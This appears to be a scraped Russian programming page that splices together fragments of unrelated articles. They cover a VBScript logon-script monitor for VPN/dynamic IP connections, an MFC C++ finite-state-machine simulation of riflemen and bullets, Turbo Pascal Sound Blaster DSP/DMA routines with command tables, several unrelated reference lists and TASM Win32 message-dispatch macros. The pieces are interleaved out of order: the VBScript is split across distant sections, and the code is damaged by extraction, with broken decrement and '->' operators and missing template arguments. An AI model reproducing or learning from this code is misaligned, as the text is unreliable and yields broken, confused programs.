    'Простой мониторинг для регистрации с использованием соединений VPN / RAS / Dynamic IP aSubnetList = Array("10.1.4.0/255.255.255.0", "10.1.4.0/255.255.252.0") bAllMatches = True ' Начало метки A Set Events = GetObject("winmgmts:\\.\root\cimv2")_ .ExecNotificationQuery ("SELECT TargetInstance.Name_ FROM __InstanceOperationEvent WITHIN 4 WHERE_ TargetInstance ISA 'Win32_NetworkAdapterConfiguration'")_ ' Конец метки A Do ' Начало метки B Set ConnectEvent = Events.nextevent ' Конец метки B If VarType(oConnectEvent.TargetInstance.Ipaddress(0)) = 8 Then ' Начало метки C bFoundMatch = SubnetMatch(aSubnetList, ConnectEvent.TargetInstance.Ipaddress(0), bAllMatches, aListofMatches) ' Конец метки C End If ' Начало метки D If bFoundMatch Then ' Конец метки D ' Начало метки E Set oShell = Createobject("wscript.shell") Set oNet = CreateObject("Wscript.Network") On Error Resume Next ' Начало метки F oNet.RemoveNetworkDrive "z:", True, True oNet.MapNetworkDrive "z:", "\\myserver\myshare" Err.clear RunCmd = oShell.Run("z:\logonscript.vbs", 1, True) Err.clear oNet.RemoveNetworkDrive "z:", True, True Err.clear ' Конец метки F On Error GoTo 0 ' Конец метки E bFoundMatch = False End If Loop Private Function SubnetMatch(aSubnetsToMatch, IPAddress, bAllMatches, aMatchList) For each subnetpair in aSubnetsToMatch pair = split(subnetpair, "/", 2) subnetoctets = split(pair(1), ".", 4) ipaddroctets = split(IPAddress, ".", 4) If pair(0) = join(Array(ipaddroctets(0) and subnetoctets(0), ipaddroctets(1) and subnetoctets(1), _ ipaddroctets(2) and subnetoctets(2), ipaddroctets(3) and subnetoctets(3)),".") Then SubnetMatch = True If MatchList = "" Then MatchList = MatchList & subnetpair Else MatchList = MatchList & ", " & subnetpair End If If not bAllMatches Then aMatchList = Array(subnetpair) Exit For End If

    Программная модель стрелка extern LArc

    Программная модель стрелка extern LArc RiflemanTBL[]; class CRifleman : public LFsaAppl { public: int GetNumber();
    void SetNumber(int n);
    void SetLink(CRifleman *pFsaLeft, CRifleman *pFsaRigtht);
    CRifleman *pFsaRightMan; CRifleman *pFsaLeftMan; CRifleman();
    CRifleman(int n, CWnd* pW, LArc *pTBL=RiflemanTBL);
    virtual ~CRifleman();
    bool operator==(const CRifleman &var) const; bool operator<(const CRifleman &var) const; bool operator!=(const CRifleman &var) const; bool operator>
    (const CRifleman &var) const; protected: CWnd* pParentWnd; CFireApp *pApp; // указатель на объект // основного класса программы int x1();
    // Is fire? int x2();
    // Is ready? int x3();
    // Number is equal to zero? Shot! int x4();
    // void y1();
    // To place number. void y2();
    // To reduce number by unit. void y3();
    // Gunshot void y4();
    // void y5();
    // int nNumber; int nSaveNumber; int nLengthQueue; // Length of queue. int nCurrentQueue; // }; typedef vector
    TIArrayRifleman; typedef vector
    : :iterator TIIteratorRifleman; extern LArc RiflemanTBL[]; CRifleman::CRifleman():LFsaAppl() { } CRifleman::CRifleman(int n, CWnd* pW, LArc* pTBL): LFsaAppl(pTBL) { pParentWnd = pW; pFsaRightMan = NULL; pFsaLeftMan = NULL; nNumber = n; nLengthQueue = 5; nCurrentQueue = nLengthQueue; if (pParentWnd) { pApp = (CFireApp*)AfxGetApp();
    FLoad(pApp->
    pNetFsa,1);
    } } bool CRifleman::operator==(const CRifleman &var) const { if (nNumber==var.nNumber) return true; else return false; } void CRifleman::SetLink(CRifleman * pFsaLeft, CRifleman * pFsaRigtht) { pFsaRightMan = pFsaRigtht; pFsaLeftMan = pFsaLeft; } LArc RiflemanTBL[] = { LArc("Сон", "Огонь", "x1", "y1"), LArc("Огонь", "Готов", "x2", "y2"), LArc("Готов", "Готов", "x3", "y2"), LArc("Готов", "Выстрел", "^x3", "y3y4"), LArc("Выстрел", "Выстрел", "x4", "y3y5"), LArc("Выстрел", "Сон", "^x4", "-"), LArc() }; int CRifleman::x1() { if (!pFsaLeftMan) return false; return string((pFsaLeftMan)- >
    FGetState()) == "Огонь"; } int CRifleman::x2() { if (!pFsaRightMan) return true; else return string((pFsaRightMan)- >
    FGetState()) == "Готов"; } int CRifleman::x3() { return nNumber; } int CRifleman::x4() { return nCurrentQueue; } void CRifleman::y1() { int n = pFsaLeftMan->
    GetNumber();
    SetNumber(n+1);
    } void CRifleman::y2() { nNumber-; } void CRifleman::y3() { } void CRifleman::y4() { nCurrentQueue = nLengthQueue; } // формирование задержки между выстрелами void CRifleman::y5() { CFDelay *pCFDelay; pCFDelay = new CFDelay(200);
    pCFDelay->
    FCall(this);
    nCurrentQueue-; }

    Извлечение данных из переменной окружения

    unit GetSBInf; interface var base :integer; { базовый адрес ввода-вывода} irq :integer; { номер IRQ } dma8 :integer; { 8-битный канал DMA } dma16 :integer; { 16-битный канал DMA } midi :integer; { порт MIDI } cardtype :integer; { номер типа платы } procedure GetBlasterInfo; {извлечение информации о плате} implementation uses dos; var s : string; {переменная окружения 'BLASTER'} e : byte; {позиция в этой строке} function str2hex:word; {преобразует последовательность hex-цифр в число} var val : word; begin val := 0; inc(e);
    while (s[e] <>
    ' ') and (s[e] <>
    char(0)) and (e <= length(s)) do begin case UpCase(s[e]) of '0'..'9' : val := val * 16 + (byte(s[e]) - byte('0'));
    'A'..'F' : val := val * 16 + (byte(s[e]) - byte('A') + 10);
    else begin writeln( 'Ошибка в цифровых параметрах переменной окружения');
    halt; end; end; inc(e);
    end; str2hex := val; end; procedure GetBlasterInfo; {информация о плате} begin s := getenv('BLASTER');
    e := 1; if (length(s)>
    0) then begin while (e < length(s)) do begin case UpCase(s[e]) of 'A':base := str2hex; 'I':irq := str2hex; 'D':dma8 := str2hex; 'H':dma16 := str2hex; 'P':midi := str2hex; 'T':cardtype := str2hex; end; {case} inc(e);
    end; {while} end else begin writeln( 'Отсутствует переменная окружения BLASTER');
    halt; end; {if} end; end. Затем следует проинициализировать DSP (Digital Signal Processor - цифровой процессор сигналов) и установить режим микшера, для управления которым имеются два адреса портов: базовый+4 (для задания номера регистра) и базовый+5 (для записи/чтения нужной величины). Назначение регистров микшера приведено в табл. 1. Несколько пояснений к табл. 1. Регистры до 2Еh включительно служат для совместимости с предыдущими моделями Sound Blaster, однако, поскольку глубина регулировки уровня в последних моделях возросла, необходимо ввести новые регистры. Старые дублируют старшие биты новых регистров того же назначения. Шаг регулировки громкости у старых регистров - 4 дБ, а у новых - 2 дБ. Появление регистра 3Сh позволяет отключить источники сигнала без изменения положения регуляторов уровня, а добавление регистров 3Dh-3Eh - подключать входные сигналы в любом порядке.
    Например, можно подсоединить правый канал CD к левому звуковой платы, а правый канал линейного входа смешать с микрофоном и снова послать в правый канал. Кроме того, появились входные и выходные аттенюаторы с шагом 6 дБ и регуляторы тембра с шагом 2 дБ, а также стала возможной автоматическая регулировка уровня микрофонного входа. В случае монофонического сигнала все регулировки осуществляются по левому каналу. Таблица 3. Формат первого байта команды DSP Bx/Cx Номер бита Назначение Значение
    D0 Зарезервирован 0
    D1 FIFO 0 - выключен;
    1 - включен
    D2 Автоинициализация 0 - режим одного цикла;
    1 - режим с автоинициализацией
    D3 Вид преобразования 0 - цифроаналоговое (воспроизведение);

    1 - аналого-цифровое (запись)
    D4-D7 Разрядность 1011 (Bh) - 16 разрядов;
    1100 (Сh) - 8 разрядов
    Примечание: другие комбинации соответствуют остальным командам
    Таблица 4. Формат второго байта команды DSP Bx/CxНомер бита Назначение Значение
    D0-D3 Зарезервированы 0000
    D4 Представление отсчетов 0 - беззнаковое;
    1 - знаковое
    D5 Число каналов (-1) 0 - моно;
    1 - стерео
    D6-D7 Зарезервированы 00
    Таблица 5. Регистр статуса прерыванийНомер бита Источник прерывания
    D0 8-разрядный ввод-вывод
    D1 16-разрядный ввод-вывод
    D2 Внешний MIDI-интерфейс (MPU-401)
    D3-D7 Зарезервированы
    После сброса DSP и установки режима работы микшера следует создать в оперативной памяти два буфера: для записываемого звука и для воспроизводимого. Поскольку и запись и воспроизведение будут осуществляться через DMAC (Direct Memory Access Controller - контроллер прямого доступа к памяти), к расположению буферов предъявляются некоторые дополнительные требования. Во-первых, они должны находиться в нижнем мегабайте адресного пространства. В реальном режиме работы процессора это выполняется всегда, а о том, как сделать такое в защищенном, рассказано в статье "Программирование Sound Blaster в защищенном режиме процессора" (см. "Мир ПК", № 3/98, с. 48). Во-вторых, буфер не должен пересекать границы 64-Кбайт страниц, поэтому при выделении памяти под него сначала следует проверить, хватит ли места для размещения буферов записи и воспроизведения до конца текущей страницы.


    Если его окажется недостаточно, то нужно запросить всю память до конца данной страницы, чтобы начало свободной памяти (кучи) совпало с началом следующей, где будут размещены буферы. Для каждого из буферов определяются номер 64-Кбайт страницы и смещение в ней, которые надо затем сообщить контроллеру прямого доступа к памяти (DMAC). Процедуры работы с DMAC и цифровым сигнальным процессором (DSP) приведены в листинге 3. При инициализации режим работы контроллера необходимо записать в регистр 0Bh для 8-разрядного режима или в регистр D6h - для 16-разрядного. Значения отдельных битов этих регистров приведены в табл. 2. Запись и воспроизведение звука - процессы непрерывные и требующие одновременной работы как пары DMAC-звуковая плата, так и процессора для подготовки данных или их использования. Поэтому возникает вопрос, каким образом организовать работу, чтобы процессор и DMAC не мешали друг другу, используя одну и ту же область памяти. Выход был найден. Звуковой буфер стали делить на две части, причем в DMAC передается полная длина буфера, а в DSP звуковой платы - только половина ее. Тогда аппаратные прерывания будут генерироваться в начале и в середине периода воспроизведения всего буфера. А в случае, когда DMAC работает с первой половиной буфера, процессор может обрабатывать вторую, и наоборот.

    Сценарий мониторинга

    ' Модификация для выполнения исключительно в соответствии с соглашением UNC Set oShell = Createobject("wscript.shell") On Error Resume Next RunCmd = oShell.Run("\\myserver\ myshare\mylogonscript.vbs", 1, True) Err.clear
    On Error GoTo 0 End If Next If SubnetMatch Then aMatchList = split(matchlist, ",") End If End Function

    Модель командира class COfficer

    Модель командира class COfficer : public CRifleman { public: COfficer();
    virtual ~COfficer();
    void SetCommand();
    protected: CFireApp *pApp; // int x1();
    // Is fire? void y1();
    bool bCommandFire; }; extern LArc OfficerTBL[]; COfficer::COfficer():CRifleman (0,NULL,OfficerTBL) { bCommandFire = false; pApp = (CFireApp*)AfxGetApp();
    // FLoad(pApp->
    pNetFsa,1);
    // подключить объект к КА-сети } COfficer::~COfficer() { } LArc OfficerTBL[] = { LArc("Сон", "Огонь", "x1", "y1"), LArc("Огонь", "Сон", "-", "-"), LArc() }; int COfficer::x1() { return bCommandFire; } void COfficer::y1() { bCommandFire = false; } void COfficer::SetCommand() { bCommandFire = true; }

    Работа с DSP и DMA

    unit DSP_DMA; interface procedure DspOut(val:byte);
    {выводит байт на DSP} procedure SetupDMA(dmach,page,ofs,DMAcount,dmacmd:word);
    {установка режима DMA} procedure SetupDSP(dspcmd, mode, DSPcount, tc:word);
    {установка режима DSP} procedure SetMixer; {сброс платы и выбор источника сигнала} procedure EnableInterrupt(newvect:pointer);
    {установка векторов прерываний} procedure DisableInterrupt; {восстановление векторов прерываний} implementation uses getsbinf,crt,dos; var intvecsave :pointer; { старый вектор прерывания} intrnum :integer; { номер прерывания } intrmask :integer; { маска прерывания } { структура, содержащая данные контроллера DMA } type DmaPortRec = record addr,count,page : byte; end; const DmaPorts : array[0..7]of DmaPortRec = ( (addr:$00; count:$01; page:$87), {0} (addr:$02; count:$03; page:$83), {1} (addr:$04; count:$05; page:$81), {2 не используется} (addr:$06; count:$07; page:$82), {3} (addr:$00; count:$00; page:$00), {4 не используется} (addr:$C4; count:$C6; page:$8B), {5} (addr:$C8; count:$CA; page:$89), {6} (addr:$CC; count:$CE; page:$8A));
    {7} procedure DspOut(val:byte);
    {выводит байт в DSP} begin while (Port[base + $0C] and $80) <>
    0 do; Port[base + $0C] := val; end; function DspIn:byte;{читает байт из DSP} begin while (Port[base + $0E] and $80) = 0 do; dspin := Port[base + $0A]; end; procedure SetupDMA(dmach,page,ofs,DMAcount,dmacmd:word);
    { Программирует контроллер DMA} { для 8- или 16-разрядного канала} var mask,mode,ff : byte; begin if (dmach < 4) then begin mask := $0A; mode := $0B; ff := $0C; end else begin mask := $D4; mode := $D6; ff := $D8; ofs := (ofs shr 1) + ((page and 1) shl 15);
    end; Port[mask] := 4 or dmach; { маскируем DMA} Port[FF] := 0; { сбрасываем триггер-защелку} Port[mode] := dmacmd or (dmach and 3);
    { уст.режима DMA} Port[dmaports[dmach].addr] := lo(ofs);
    { младший байт адреса} Port[dmaports[dmach].addr] := hi(ofs);
    { старший байт} Port[dmaports[dmach].page] := page; { номер страницы} Port[dmaports[dmach].count] := lo(DMAcount-1);
    { младший байт счетчика} Port[dmaports[dmach].count] := hi(DMAcount-1);
    { старший байт} Port[mask] := (dmach and 3);
    { сброс бита маски} end; procedure SetupDSP(dspcmd, mode, DSPcount, tc:word);
    { Программирует DSP звуковой платы} begin DspOut($40);
    {установка константы времени} DspOut(tc);
    DspOut(dspcmd);
    {команда Bx/Cx} DspOut(mode);
    DspOut(lo(DSPcount-1));
    DspOut(hi(DSPcount-1));
    end; procedure SetMixer;{сброс платы и выбор источника сигнала} var val:byte; begin Port[base + $06] := 1; {сброс DSP} delay(1);
    Port[base + $06] := 0; if (dspin <>
    $AA) then {проверка готовности} writeln('Sound Blaster не готов.');
    Port[base + $04] := $3D; Port[base + $05] := 1; { левый канал:источник сигнала - микрофон} { Port[base + $04] := $3E; {для моно - не обязательно} { Port[base + $05] := 1; } { правый канал:источник сигнала - микрофон} Port[base + $04] := $3C; Port[base + $05] := 0; { на выходе отключаем все, что можно} end; procedure EnableInterrupt(newvect:pointer);
    {установка векторов прерываний} var intrmask1:word; begin if (irq < 8) then {вычисляем номера прерывания} intrnum := irq + 8 { для IRQ 0-7 прерывания 8-15.} else intrnum := irq - 8 + $70; { для IRQ 8-15 прерывания 70H-78H.} intrmask := 1 shl irq; {маска} GetIntVec(intrnum,intvecsave);
    { сохраняем старый вектор} SetIntVec(intrnum, newvect);
    { устанавливаем новый вектор} intrmask1 := intrmask; {разрешаем прерывания} Port[$21] := Port[$21] and not intrmask1; intrmask1 := intrmask1 shr 8; Port[$A1] := Port[$A1] and not intrmask1; end; procedure DisableInterrupt; {восстановление векторов прерываний} var intrmask1:word; begin intrmask1 := intrmask; {запрещаем прерывания} Port[$21] := Port[$21] or intrmask1; intrmask1 := intrmask1 shr 8; Port[$A1] := Port[$A1] or intrmask1; SetIntVec(intrnum,intvecsave);
    {восстанавливаем вектор} end; end. После программирования DMAC то же самое проделывается и с DSP звуковой платы.
    Сначала надо установить частоту дискретизации, сообщив ему константу времени t = 256 - 1 000 000 / f,
    где f - частота дискретизации. Затем следует задать команду на запись/воспроизведение звука. Для Sound Blaster 16 проще всего выбрать команды Bx/Cx, состоящие из четырех байтов: Command, Mode, LenLo, LenHi. Формат первого байта Command приведен в табл. 3, а второго байта Mode - в табл. 4. Байты LenLo и LenHi - младший и старший в соответствии с длиной передаваемого блока, уменьшенной на единицу. Команды Bx/Cx позволяют задавать как знаковый, так и беззнаковый вид представления отсчетов. При знаковом отсчет представляет собой целое число со знаком, принимающее значение 0 при отсутствии входного сигнала, при беззнаковом - целое число без знака, равное 80h для 8-разрядного режима и 8000h для 16-разрядного при отсутствии входного сигнала. Стандартом де-факто является представление 8-разрядных отсчетов в беззнаковой форме, а 16-разрядных - в знаковой, однако для упрощения процедуры преобразования в приводимой программе обе величины выбраны знаковыми. Таблица 6. Команды DSPКоманда Описание
    14h8-разрядное воспроизведение через DMA без автоинициализации. Команда состоит из 3 байт, за ее кодом следует длина передаваемых данных, уменьшенная на 1
    1Ch8-разрядное воспроизведение с автоинициализацией. Команда состоит из 1 байта, длина воспроизводимого блока задается командой 48h
    24h8-разрядная запись, аналогичная команде 14h
    2Ch8-разрядная запись с автоинициализацией, аналогичная 1Ch
    40hЗадание константы времени, 2 байта: после кода команды - константа
    41hЗадание частоты дискретизации вывода, 3 байта: после команды 2 байта частоты дискретизации в диапазоне 5000-45 000 Гц
    42hЗадание частоты дискретизации ввода, аналогичное 41h
    48hЗадание длины передаваемых данных, 3 байта, включая 2 байта данных. Определяет, по истечении какого объема переданных данных должно поступить прерывание от звуковой платы
    Bxh16-разрядный ввод-вывод
    Cxh8-разрядный ввод-вывод
    D0hПауза 8-разрядного ввода-вывода
    D1hВыключение динамика
    D3hВключение динамика
    D4hПродолжение 8-разрядного ввода-вывода, приостановленного командой D0h
    D5hПауза 16-разрядного ввода-вывода
    D6hПродолжение 16-разрядного ввода-вывода, приостановленного командой D5h
    D8hПосле этой команды чтение из DSP возвращает статус динамика: 0 - выключен; FFh - включен
    D9hВыход из 16-разрядного ввода-вывода с автоинициализацией
    DAhВыход из 8-разрядного ввода-вывода с автоинициализацией
    E1hПосле этой команды чтение 2 байт из DSP приведет к получению номера версии DSP, причем 1-й байт - старший, а 2-й - младший
    После программирования микшера следует установить свои процедуры обработки прерываний от звуковой платы и только потом можно будет задавать режимы DMA и DSP.


    Затем процессор свободен для выполнения любой другой работы, например с экраном, как это практикуется в компьютерных играх. В данной же программе просто происходит ожидание ввода с клавиатуры. Однако время от времени работу процессора будут приостанавливать прерывания, поступающие со звуковой платы по окончании пересылки очередной порции данных. В задачу обработчика прерываний входит определение номера канала, по которому пришло прерывание. Дело в том, что и 8-разрядный, и 16-разрядный ввод-вывод, и даже внешний MIDI-интерфейс (MPU-401) генерируют одно и то же аппаратное прерывание. Для того чтобы различать их между собой, в адресном пространстве регистров микшера имеется порт номер 82h (регистр статуса прерываний), определяющий источник прерывания (табл. 5). Обработчик прерывания должен сообщить звуковой плате, что ее прерывание принято и обработано, для чего необходимо осуществить чтение из порта 0Eh или 0Fh для 8- либо 16-разрядного режимов соответственно. После прихода прерываний от канала записи и от канала воспроизведения можно считать, что соответствующие половины буферов записи и воспроизведения уже обработаны звуковой платой и пора копировать данные из одного буфера в другой. Так как в обоих случаях была выбрана одинаковая (знаковая) форма представления данных, то их преобразование сводится лишь к переписыванию старших байтов значений двухбайтовых звуковых отсчетов из входного буфера в выходной. По завершении отработки прерывания следует осведомить об этом контроллер прерываний (с учетом каскадирования). После нажатия на программа приостанавливает и 8-, и 16-разрядные операции ввода-вывода и восстанавливает векторы прерываний. Выше приведен выборочный список команд DSP, которые применяются при записи и воспроизведении звука (табл. 6). Здесь не рассматриваются непосредственный ввод-вывод, не использующий DMAC, ввод-вывод с компрессией и MIDI-команды. ОБ АВТОРЕ Андрианов Сергей Андреевич - канд. техн. наук; e-mail: или fidonet: 2:5017/11.40.

    int nNum, CSize sz, LArc

    Модель пули extern LArc BulletTBL[]; class CBullet : public TBounce { public: void SetAddrMan (LFsaAppl *pFsaAppl);
    CBullet();
    CBullet(CWnd* pW, int nNum, CSize sz=CSize(10,10), LArc *pTBL=BulletTBL);
    virtual ~CBullet();
    void SetCenter(int x, int y);
    void SetMove(int cx, int cy);
    protected: int x1();
    int x2();
    int x3();
    void y4();
    protected: LFsaAppl *pFsaShot; }; typedef vector
    TIArrayBullet; typedef vector
    : :iterator TIIteratorBullet; CBullet::CBullet(CWnd* pW, int nNum, CSize sz, LArc *pTBL) :TBounce(pW, nNum, sz, pTBL) { pFsaShot = NULL; } CBullet::CBullet():TBounce() { pFsaShot = NULL; } CBullet::~CBullet() { } void CBullet::SetAddrMan(LFsaAppl * pFsaAppl) { pFsaShot = pFsaAppl; } // LArc BulletTBL[] = { LArc("st","b1", "x1", "y4"), LArc("b1","b1", "^x2", "y1"), LArc("b1","st", "x2", "y4"), LArc() }; int CBullet::x1() { if (!pFsaShot) return false; return string((pFsaShot)- >
    FGetState()) == "выстрел"; } int CBullet::x2() { return m_ptCenter.y + m_sizeRadius.cy >
    = rcClient.bottom; } int CBullet::x3() { return nNumBounce; } void CBullet::y4() { SetCenter(0,10);
    } void CBullet::SetCenter(int x, int y) { if (y) m_ptCenter.y = y; if (x) m_ptCenter.x = x; } void CBullet::SetMove(int cx, int cy) { m_sizeMove.cx = cx; m_sizeMove.cy = cy; }

    Модель цепи стрелков class CChainShot

    Модель цепи стрелков class CChainShot { public: CChainShot(CWnd *pW);
    virtual ~CChainShot();
    void SetLink();
    void SetCommand();
    void OnSize(int cx, int cy);
    CRifleman* GetAddrRifleman(int n);
    CBullet* GetAddrBullet(int n);
    protected: CWnd *pWnd; COfficer *pCOfficer; TIArrayRifleman IArrayRifleman; TIArrayBullet IArrayBullet; }; CChainShot::CChainShot(CWnd *pW) { pWnd = pW; pCOfficer = new COfficer();
    for (int i=1; i<=4; i++) { IArrayRifleman.push_back(new CRifleman(i,pWnd));
    IArrayBullet.push_back(new CBullet(pWnd,i));
    } SetLink();
    } CChainShot::~CChainShot() { if (pCOfficer) delete pCOfficer; TIIteratorRifleman iterRifleman = IArrayRifleman.begin();
    while (iterRifleman != IArrayRifleman.end()) delete *iterRifleman++; IArrayRifleman.erase(IArrayRifleman.begin(), IArrayRifleman.end());
    TIIteratorBullet iterBullet = IArrayBullet .begin();
    while (iterBullet!=IArrayBullet.end()) delete *iterBullet++; IArrayBullet.erase(IArrayBullet.begin() ,IArrayBullet.end());
    } void CChainShot::SetCommand() { if (pCOfficer) pCOfficer->
    SetCommand();
    } CRifleman* CChainShot::GetAddrRifleman(int n) { CRifleman* currentRifleman=NULL; CRifleman vs(n, NULL);
    TIIteratorRifleman iterRifleman = IArrayRifleman.begin();
    while (iterRifleman != IArrayRifleman.end()) { currentRifleman= *iterRifleman++; if (*currentRifleman==vs) break; } return currentRifleman; } CBullet* CChainShot::GetAddrBullet(int n) { CBullet* currentBullet=NULL; CBullet vs(NULL, n);
    if (!IArrayBullet.empty()) { TIIteratorBullet iterBullet = IArrayBullet .begin();
    while (iterBullet != IArrayBullet.end()) { currentBullet= *iterBullet++; if (*currentBullet==vs) break; } } return currentBullet; } void CChainShot::SetLink() { LFsaAppl *currentRifleman; TIIteratorRifleman iterRifleman = IArrayRifleman.begin();
    int n =1; CRifleman *pFsaLeft = NULL; CRifleman *pFsaRight = NULL; while (iterRifleman != IArrayRifleman.end()) { if (n==1) { currentRifleman= *iterRifleman++; ((CRifleman*)currentRifleman)- >
    SetNumber(n);
    n++; pFsaLeft = pCOfficer; pFsaRight= *iterRifleman++; ((CRifleman*)pFsaRight)->
    SetNumber(n);
    n++; ((CRifleman*)currentRifleman)->
    SetLink(pFsaLeft, pFsaRight);
    } else { pFsaLeft = currentRifleman; if (iterRifleman != IArrayRifleman.end()) { currentRifleman = pFsaRight; pFsaRight= *iterRifleman++; ((CRifleman*)pFsaRight)->
    SetNumber(n);
    n++; ((CRifleman*)currentRifleman)->
    SetLink(pFsaLeft, pFsaRight);
    } } } pFsaLeft = currentRifleman; currentRifleman = pFsaRight; pFsaRight= NULL; ((CRifleman*)currentRifleman)- >
    SetLink(pFsaLeft, pFsaRight);
    TIIteratorBullet iterBullet = IArrayBullet.begin();
    while (iterBullet != IArrayBullet.end()) { CBullet* currentBullet= *iterBullet++; CRifleman* pRf=GetAddrRifleman (currentBullet->
    GetNum());
    currentBullet->
    SetAddrMan(pRf);
    } } void CChainShot::OnSize(int cx, int cy) { int n=1; CBullet* currentBullet; TIIteratorBullet iterBullet = IArrayBullet.begin();
    while (iterBullet != IArrayBullet.end()) { currentBullet= *iterBullet++; currentBullet->
    Size(CSize(cx/n,cy/n));
    currentBullet->
    SetCenter(400/n-20,10);
    currentBullet->
    SetMove(0,1);
    // currentBullet->
    SizeBounce(CSize(20,20));
    n++; } }

    UINT nType, int cx, int

    Объект окна-отображения void CFireView::OnFire() { pChainShot->
    SetCommand();
    } int CFireView::OnCreate(LPCREATESTRUCT lpCreateStruct) { if (CView::OnCreate(lpCreateStruct) == -1) return -1; pChainShot = new CChainShot(this);
    CFireApp *pApp = (CFireApp*)AfxGetApp();
    // pApp->
    pNetFsa->
    go_task();
    // запуск КА-объекта return 0; } void CFireView::OnSize( UINT nType, int cx, int cy) { pChainShot->
    OnSize(cx, cy);
    CView::OnSize(nType, cx, cy);
    } void CFireView::OnFast() { CFireApp *pApp = (CFireApp*)AfxGetApp();
    pApp->
    lCountTime=0; } void CFireView::OnSlow() { CFireApp *pApp = (CFireApp*)AfxGetApp();
    pApp->
    lCountTime=1000; }

    Действие y3 модели стрелка void

    Действие y3 модели стрелка void CRifleman::y3() { CRect r; pParentWnd->
    GetClientRect(r);
    CSize cz = r.Size();
    int x1, y1; x1=cz.cx/nSaveNumber; y1= cz.cy/nSaveNumber; CBullet *currentBullet = new CBullet(pParentWnd, 0);
    // задание начального положения пули и ее размеров currentBullet->
    SetCenter(x1-50,10);
    currentBullet->
    SetMove(0,3);
    // интервал между пулями // currentBullet->
    SetMove(nCurrentQueue,3);
    // стрельба // веером currentBullet->
    SizeBounce(CSize(2,5));
    // передача адреса стрелка новой пуле currentBullet->
    SetAddrMan(this);
    // currentBullet->
    FCall(this);
    }

    Таблица переходов

    Таблица переходов "автоматной" пули LArc BulletTBL[] = { LArc("st","b1", "x1x3", "y4"), LArc("st","b1", "^x3", "y4"), LArc("b1","b1", "^x2", "y1"), LArc("b1","st", "x2x3", "y4"), LArc("b1","00", "x2^x3","-"), LArc() };

    Литература

    [1] Объектные технологии построения распределенных информационных систем, Юрий Пуха,
    [2] Симфония CORBA, Марина Аншина,
    [3] В ожидании CORBA 3.0, Сергей Орлик, О
    [4] Компонентная объектная модель Javabeans, Владимир Галатенко, Александр Таранов,
    [5] CORBA/IIOP и Java RMI. Основные возможности в сравнении, Юрий Пуха,
  • Alan K. Melby,Eight Types of Translation Technology // ATA, Hilton Head, November 1998
  • Олег Сонин, MT или TM// Компьютерная неделя N26-27(200-201).- М., 1999
  • Martin Volk: The Automatic Translation of Idioms. Machine Translation vs. Translation Memory Systems. In: Nico Weber (ed.): Machine Translation: Theory, Applications, and Evaluation. An assessment of the state of the art. St. Augustin: gardez-Verlag. 1998.
  • The Universal Networking Language (UNL) Specifications Version 3.0// UNU/IAS/UNL Center, August 2000.


  • Гамма Э. Приемы объектно-ориентированного проектирования (паттерны проектирования). - Санкт-Петербург: Издательство «Питер», 2001. – 368с.
  • Цимбал А. Технология CORBA для профессионалов. – Санкт-Петербург: Издательство «Питер», 2001. – 624с.


  • Schoch, G. MetaBASE by gs-soft - Ingneiburo G.Schoch, 1996
  • Henderson, K. Delphi Database Developer's Guide. - SAMS Publishing, 1996
  • Горин C.B., Тандоев А.Ю. Применение CASE-средства ERwin 2.0 для информационного моделирования в системах обработки данных - СУБД, 1996, N 3 c. 26-40 Interface Ltd. (авторизованный учебный центр Logic Works и Borland)
    тел./факс (095)135-55-00, 135-25-19, e-mail:


  • Любченко В.С. О бильярде с Microsoft C++ 5.0. // Мир ПК, 1998, № 1, с. 202.
  • Трахтенброт Б.А. Алгоритмы и вычислительные автоматы. М.: Советское радио, 1974. 200 с.
  • Любченко В.С. Новые песни о главном-II. // Мир ПК, 1998, № 7, с. 112.
  • Ла Мот А., Ратклиф Д., Тайлер Д. Секреты программирования игр /Пер. с англ. СПб: Питер, 1995. 720 с.


  • Макроопределения

    Мне достаточно редко приходилось серьёзно заниматься разработкой макроопределений при программировании под DOS. В Win32 ситуация принципиально иная. Здесь грамотно написанные макроопределения способны не только облегчить чтение и восприятие программ, но и реально облегчить жизнь программистов. Дело в том, что в Win32 фрагменты кода часто повторяются, имея при этом не принципиальные отличия. Наиболее показательна, в этом смысле, оконная и/или диалоговая процедура. И в том и другом случае мы определяем вид сообщения и передаём управление тому участку кода, который отвечает за обработку полученного сообщения. Если в программе активно используются диалоговые окна, то аналогичные фрагменты кода сильно перегрузят программу, сделав её малопригодной для восприятия. Применение макроопределений в таких ситуациях более чем оправдано. В качестве основы для макроопределения, занимающегося диспетчеризацией поступающих сообщений на обработчиков, может послужить следующее описание. Пример макроопределений macro MessageVector message1, message2:REST IFNB dd message1 dd offset @@&message1 @@VecCount = @@VecCount + 1 MessageVector message2 ENDIF endm MessageVector macro WndMessages VecName, message1, message2:REST @@VecCount = 0 DataSeg label @@&VecName dword MessageVector message1, message2 @@&VecName&Cnt = @@VecCount CodeSeg mov ecx,@@&VecName&Cnt mov eax,[@@msg] @@&VecName&_1: dec ecx js @@default cmp eax,[dword ecx * 8 + offset @@&VecName] jne @@&VecName&_1 jmp [dword ecx + offset @@&VecName + 4] @@default: call DefWindowProcA, [@@hWnd], [@@msg], [@@wPar], [@@lPar] @@ret: ret @@ret_false: xor eax,eax jmp @@ret @@ret_true: mov eax,-1 dec eax jmp @@ret endm WndMessage Комментарии к макроопределениям При написании процедуры окна Вы можете использовать макроопределение WndMessages, указав в списке параметров те сообщения, обработку которых намерены осуществить. Тогда процедура окна примет вид: proc WndProc stdcall arg @@hWnd: dword, @@msg: dword, @@wPar: dword, @@lPar: dword WndMessages WndVector, WM_CREATE, WM_SIZE, WM_PAINT, WM_CLOSE, WM_DESTROY @@WM_CREATE: ; здесь обрабатываем сообщение WM_CREATE @@WM_SIZE: ; здесь обрабатываем сообщение WM_SIZE @@WM_PAINT: ; здесь обрабатываем сообщение WM_PAINT @@WM_CLOSE: ; здесь обрабатываем сообщение WM_CLOSE @@WM_DESTROY: ; здесь обрабатываем сообщение WM_DESTROY endp WndProc Обработку каждого сообщения можно завершить тремя способами:
  • вернуть значение TRUE, для этого необходимо использовать переход на метку @@ret_true;
  • вернуть значение FALSE, для этого необходимо использовать переход на метку @@ret_false;
  • перейти на обработку по умолчанию, для этого необходимо сделать переход на метку @@default.
  • Отметьте, что все перечисленные метки определены в макро WndMessages и Вам не следует определять их заново в теле процедуры. Теперь давайте разберёмся, что происходит при вызове макроопределения WndMessages.
